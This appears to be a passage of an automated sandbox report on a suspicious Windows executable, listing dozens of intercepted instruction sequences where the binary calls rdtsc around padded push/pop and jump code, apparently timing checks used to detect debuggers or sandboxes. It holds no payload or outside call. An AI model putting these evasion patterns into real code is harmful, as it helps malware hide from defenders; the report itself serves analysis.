Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E5776A second address: E5776F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E578E8 second address: E578EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E572FB second address: E572FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E57FFB second address: E58009 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAD00757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E5814F second address: E58155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E58155 second address: E58159 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E58599 second address: E585B4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007FAD011DC3A0h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E585B4 second address: E585BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E5A9C8 second address: E5A9D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 jnc 00007FAD011DC396h 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E5A9D5 second address: E5A9E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 jng 00007FAD00757CA2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E5A6FE second address: E5A721 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAD011DC3A9h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E5A721 second address: E5A727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E5A727 second address: E5A72B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E5D971 second address: E5D992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FAD00757C96h 0x0000000a jmp 00007FAD00757CA7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E5D992 second address: E5D996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E5D41C second address: E5D422 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E5D6B4 second address: E5D6B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E5D6B8 second address: E5D6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E60CC5 second address: E60CF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A3h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FAD011DC3A5h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E60CF7 second address: E60D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD00757C9Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E64958 second address: E64972 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E64AD1 second address: E64ADB instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAD00757C96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E64ADB second address: E64AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FAD011DC3A5h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E64ED6 second address: E64EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 jmp 00007FAD00757CA6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E64EF9 second address: E64F10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E64F10 second address: E64F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jbe 00007FAD00757C9Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E688BB second address: E688C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E688C5 second address: E688D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD00757C9Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E688D3 second address: E688DD instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAD011DC396h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E688DD second address: E688E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E688E3 second address: E688EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E6D47F second address: E6D487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E6D85A second address: E6D863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E6D863 second address: E6D86D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E6D86D second address: E6D873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E6D873 second address: E6D880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FAD00757C9Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E1AEA3 second address: E1AEF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a jmp 00007FAD011DC3A8h 0x0000000f mov dword ptr [ebp+122D1A88h], edi 0x00000015 popad 0x00000016 push 00000004h 0x00000018 call 00007FAD011DC3A8h 0x0000001d or edi, dword ptr [ebp+122D370Dh] 0x00000023 pop edi 0x00000024 nop 0x00000025 push eax 0x00000026 push edx 0x00000027 jnp 00007FAD011DC398h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E6DB0A second address: E6DB12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E6DB12 second address: E6DB21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jl 00007FAD011DC396h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E6DB21 second address: E6DB52 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAD00757C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FAD00757C9Eh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAD00757C9Ah 0x00000018 jno 00007FAD00757C9Ch 0x0000001e jng 00007FAD00757C96h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E6DB52 second address: E6DB6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FAD011DC396h 0x0000000a jmp 00007FAD011DC39Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E6DCA3 second address: E6DCC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 push ecx 0x00000008 jmp 00007FAD00757CA5h 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E6DCC3 second address: E6DCC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E6DCC9 second address: E6DCE9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jmp 00007FAD00757CA1h 0x00000010 pop ecx 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E6DCE9 second address: E6DCFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD011DC39Fh 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E73CD6 second address: E73CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E73E69 second address: E73E8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jns 00007FAD011DC396h 0x00000009 jg 00007FAD011DC396h 0x0000000f pop eax 0x00000010 pushad 0x00000011 jne 00007FAD011DC396h 0x00000017 jmp 00007FAD011DC39Dh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E73FD9 second address: E73FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E73FDF second address: E74013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007FAD011DC39Ch 0x0000000c jmp 00007FAD011DC39Ah 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FAD011DC3A0h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E74013 second address: E74017 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E74017 second address: E74027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007FAD011DC396h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E74027 second address: E7402D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E745C1 second address: E745C7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E74B71 second address: E74B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E74B75 second address: E74B90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A5h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E74B90 second address: E74B9C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAD00757C9Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E74B9C second address: E74BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E7508D second address: E75094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E75094 second address: E7509A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E7509A second address: E750A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E750A0 second address: E750AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E750AE second address: E750B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E750B2 second address: E750C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FAD011DC396h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E750C4 second address: E750C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E750C8 second address: E750D4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAD011DC396h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E750D4 second address: E750E1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAD00757C98h 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E759C3 second address: E759C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E759C9 second address: E759D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E759D2 second address: E759D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E79C36 second address: E79C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E79C3B second address: E79C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD011DC3A9h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E79F19 second address: E79F3C instructions: 0x00000000 rdtsc 0x00000002 js 00007FAD00757CB5h 0x00000008 jmp 00007FAD00757CA9h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E7A1D6 second address: E7A1F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E7A1F0 second address: E7A1F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E7A1F4 second address: E7A20E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E7A20E second address: E7A214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E7A214 second address: E7A229 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAD011DC39Eh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E7A229 second address: E7A236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E7A236 second address: E7A274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD011DC39Bh 0x00000009 jmp 00007FAD011DC3A2h 0x0000000e popad 0x0000000f push ebx 0x00000010 jmp 00007FAD011DC3A7h 0x00000015 pop ebx 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E7A3D7 second address: E7A3E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E7F313 second address: E7F328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push edx 0x00000008 jp 00007FAD011DC396h 0x0000000e jnc 00007FAD011DC396h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E7F328 second address: E7F32D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E7F32D second address: E7F352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD011DC3A6h 0x00000009 pop ebx 0x0000000a jo 00007FAD011DC39Eh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E87882 second address: E8788A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E8788A second address: E878A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FAD011DC3A2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E86120 second address: E86127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E86127 second address: E86137 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FAD011DC396h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E86137 second address: E86141 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAD00757C96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E862A2 second address: E862AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E86929 second address: E86933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FAD00757C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E86933 second address: E8694F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FAD011DC3A6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E8694F second address: E86954 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E870A8 second address: E870CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC39Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007FAD011DC39Eh 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E8773D second address: E87753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007FAD00757C9Eh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: E89E09 second address: E89E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
